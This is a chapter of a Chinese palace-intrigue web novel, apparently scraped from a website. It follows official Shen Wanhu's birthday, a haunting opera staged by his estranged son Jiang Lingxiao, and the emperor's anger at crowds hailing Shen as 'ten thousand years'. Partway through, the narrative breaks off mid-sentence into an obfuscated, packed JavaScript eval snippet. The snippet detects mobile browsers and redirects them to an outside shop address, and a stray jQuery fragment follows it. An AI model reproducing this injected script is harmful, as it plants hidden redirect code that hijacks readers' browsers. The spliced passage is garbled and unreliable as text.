日上三竿，沈丘染还在床上呼呼大睡，查了一夜案子，清晨才回来，刚眯了不到一个时辰。
“砰”的一声巨响，沈万湖踢开沈丘染房门，厉声：“赶紧起来，与我进宫见皇上！”
“咋了爹？”沈丘染拥着被子坐起来。
沈万湖气愤：“倒反天罡，姜凌嚣威胁老子，要杀了亲爹！”
沈丘染鼻音很重：“他姓姜，百姓叫他孤儿驸马，无父无······”
“啪”，沈万湖夺过枕头抽了沈丘染，“什么混账话！他无父无母从石头缝里蹦出来的？”
用得着人的时候，三哥是老子亲生的，翻脸不认人的时候，三哥就姓姜，嘴巴子整天跟纺锤似的不停颠倒着转，沈丘染挺看不上沈万湖这一点的。
因此，沈万湖在沈丘染这里的信誉贬值，他说的许多话可信度不高。
尤其亲眼所见竞安府天罗地网，姜凌嚣插翅难飞，手头连个能调的兵也没有，还杀朝廷一品官，荒谬可笑！
沈万湖见大孝子沈丘染听见“弑父”无动于衷，愠怒：
“你不是四处为民伸张正义吗？到了你亲爹，你怎么哑巴了？”
沈丘染干搓搓脸，下床按住沈万湖肩头往堂屋里推：
“爹，我和您一块去见皇上，那这事儿就是家务事。皇上年纪比我还小，也没皇后妃子，他懂什么是家务事？
这样，您儿子我单独面圣，以天理寺一等督的身份，当成个公事处理。”
沈万湖露出欣赏的眼神：
“好！你不愧官场上摔打过，长成色了。儿子，你上头没哥哥了，弟弟们整天招猫逗狗也难成器，咱家以后就指靠你了。
对了，你千万要注意，既让皇上办了姜凌嚣，又不要牵扯到咱沈家······”
“来来来，赶快给老爷沏茶。”可算把爹摁住了，沈丘染招呼丫鬟伺候着，自己抽身出门支使管家去请太医。
司空深提着药箱出了沈万湖房门，沈丘染倚在院墙门洞上招手：“司空太医，我爹没事儿吧？”
“下官给老沈大人开了几味败火的汤药。”司空深文静害羞，说话时从不看人的眼睛，垂着眼皮，在坦荡豪爽的沈丘染眼里，不看人眼睛说话，那就是躲避。
沈万湖可能真的病了。
沈丘染叹口气，撸起袖子，伸出手腕：“你给我把把脉，看看我有没有传染上了疯病。”
——
竞安宫，帘子里，林执缨闭眼躺着，八哥踩在枕头上，用喙梳理她额前头发。
出汗潮湿的乱发理顺了，八哥窝到她肩头，声音低低的：“小虎漂亮，小虎吉祥。”
刚买这破八哥让它这么叫的时候，它张嘴就骂人，现在不理它了，它又来了嘴巧，林执缨故作无动于衷。
八哥：“虎儿，只要你回来看我一眼，就一眼，我死了都成。”
很久不听到“虎儿”这个称呼了，有点陌生，八哥没有以前聒噪，仿佛在模仿谁······
这么极端的话，只有疯狗姜凌嚣说得出来。
回忆是棵树，他在不同场景里的影子犹如一片片落叶，铺天盖地埋到脸上，让人无法呼吸，林执缨喉头哽了一下。
感觉到八哥在枕头上啄着什么，林执缨睁开一只眼，侧头看——枕头上摆了大大小小一排碎肉，大约是八哥怕她躺着饿死，叼来给她吃的。
这小东西，让林执缨顿时生出丝微爱意。
八哥扭头看到“独眼”的林执缨，扑棱着翅膀，大叫一声：“X你大爷的，吓死我了！”
“贱鸟！”
总装昏迷躺着，都快躺废了，得找个机会溜出去，找到刺穹，一块儿逃出宫。
林执缨爬起来，活动筋骨。
门外，来送汤药的上官赫收回贴在门上的耳朵，一脸撞破秘密的神色，急匆匆掉头。
——
天不亮，沈府已张灯结彩，仆人里里外外忙个不停，微风吹亮晨光，已有不少人前来贺寿。
沈万湖新衣呈上来，沈夫人：“咦，这不是我为老爷做的那件。”
新衣衣料华贵，沈万湖：“可能老五孝顺我的，就穿这件吧。”
沈万湖换上新衣，喜气洋洋迎宾。
突然院中一阵喧哗，来了一个已经扮上粧了的戏班子。
“家里早就请了戏班子，这又是谁请的？”管家四处打听时，戏班子已入了后台。
请戏班子得花不少钱，没人肯把钱白扔打了水漂的，指定是谄媚讨好沈家的，沈夫人拦住管家：
“人能有几个六十大寿，多个戏班子就多唱几天，好好热闹热闹，甭管了。”
沈万湖听见动静，循声到后院门，一个化着花脸的人迎上来，一番贺寿恭维，把沈万湖哄了个神清气爽，然后做个邀请的手势：
“沈大人，有单独献给您的一出戏。”
推开后院门，一个纸扎的、昏黄色的门横栏。
沈万湖疑惑地挤过纸门，一眼便看到戏台。
台上，几个戏子齐齐望向沈万湖，怪异浓妆下的道道目光，让人有种说不出的不适感。
既是有人花钱请戏班子巴结自己，沈万湖大摇大摆坐到台下唯一的椅子上，锣鼓锵锵一响，他得意地摇头摆尾，手指在膝头轻轻叩着。
台上，戏子你一言我一语，激烈嘈杂，在演一出审判戏码。
故事大概是已婚的男人欺骗了未婚女人，男人被揭穿后恼羞成怒，污蔑女人生的孩子是野种，背地里联合夫人毒杀了女人，冤魂重生，今日要来索命。
台下，沈万湖越听越不是味，渐渐缩紧眉头，收回二郎腿，正襟危坐。
“有请夺命判官上台！”一阵紧锣密鼓，夺命判官上台，却被牛头马面包围个严实。
虽看不见判官面目，但能看见判官抬手，朝台下甩出一支令箭，直落在沈万湖脚边。
副官抖手指向台下，大喝一句：“呔，死刑已判，拉下去溺毙！”
牛头马面抓起戏中死囚，投进抖动的黑布模拟的湖中。
“死囚”在“黑湖”中沉浮挣扎、呼救，无一援手，最后活活溺亡，漂浮在湖面，死不瞑目。
戏曲狰狞奇怪，却又让人挪不开眼睛，沈万湖不由自主看向“死囚”。
“死囚”同时转头看向沈万湖。
四目相对，如同照镜。
“啊！”沈万湖惊地从椅子上跳起来。
“死囚”穿着和他一模一样的衣裳！涂白的脸，更是化成了他的模样！
牛头马面忽然全部后退，露出判官面目。
姜凌嚣稳坐判官桌后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994592|186002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，背悬青天明月帘，眼神直勾勾望着台下。
“你不是被天罗地网囚禁着吗？！”沈万湖颤声。
姜凌嚣挑高一侧的眉毛，露出白森森的皓齿：“戏如人生，什么意外都有。”
沈万湖眼前昏花，往后倒了两步，嘴里念念有词：“梦，梦······”，而后使劲眨眨眼，往台上定睛一看，确实是姜凌嚣——不是梦，是现实。
“老五，老五！你不是去找皇上办他了吗？老五！”沈万湖跌跌撞撞，转身就跑。
昏黄色的纸门拦住去路，沈万湖撕了个干净，露出上面的字——鬼门关！
谁知，戏还没演完，牛头马面下了台，抬着口纸棺材靠近沈万湖，纸棺材和那日姜凌嚣摔在他脚下的棺材一模一样！
沈万湖恶寒的不能呼吸。
管家气喘吁吁在外面喊叫：“老爷！您在吗？”
“管家！”沈万湖使劲拽着“鬼门关”，“快来救我，家里，家里闹······”
他一转头，刚才的戏子们全都不见了，戏台上的道具撤得干干净净，姜凌嚣无影无踪，仿佛刚才一切都是幻觉。
管家进门，看着一地的碎纸和竹篾，扶住沈万湖，“老爷您没事吧？我想扶您去休息，可百姓自发打着万寿伞来了。”
沈万湖一头雾水：“什么伞？”
随管家刚出府门，沈万湖就被震撼在原地——
外面是伞的海洋，看不到尽头，堵住了大门，后门的各条巷子，连其他前来贺寿的大臣的轿子都堵在了人山人海之外。
一把把巨大的黑骨架撑着的白伞盖上，写满了不同字体的红色“寿”字，与天际相连。
沈万湖惊喜这阵仗，又对伞的配色说不出的膈应，警惕问管家：“哪儿来这么多人？”
“是爱戴您的百姓自发的，齐来贺寿。”
百姓爱戴带来的膨胀，像势不可挡的山洪，登时淹没了其它任何情绪。
沈万湖面泛红光，激动地自言自语：“好，好，好！百姓知道我是清官，好官，不枉我一心为民。”
不知谁带头，举伞的百姓们忽然齐声高呼：“沈大人万寿无疆，万万岁！”
响声震彻天地。
沈万湖愣了一下，连忙阻拦呼声：
“不能这么喊！万岁是喊皇上的！老夫不过一介文臣，为皇上、为朝廷能鞠躬尽瘁，便是上天恩泽，皇上的庇佑。”
“沈大人心系黎明，功德无量，必将青史留名，天下共仰！”
又是响声震彻天地，百姓更是集体下跪，场面震慑人心。
沈万湖难抑飘飘欲仙：
“沈某深居庙堂，不曾想谬获百姓如此抬爱。借沈某寿诞之际，请各位赏光，吃薄酒一杯。”
如此多百姓，府上压根容不下，只能在前后门的空地上、胡同里临时搭棚，场地不够用，索性蜿蜒出几条街，全都霸占了，又引来更多围观的百姓，坐在边上绣寿毯，剪寿字，加入宴席的人没完没了……
声势过大，这边还没开席，已惊动宫中。
百姓高呼臣子“万岁”，公然践踏规矩，破坏礼数，沈万湖不打死这帮人，反倒宴请起来，可见其狼子野心，存谋逆之狂！
朱帝恼怒不已。
大内杀手匆匆出宫，赶往沈家。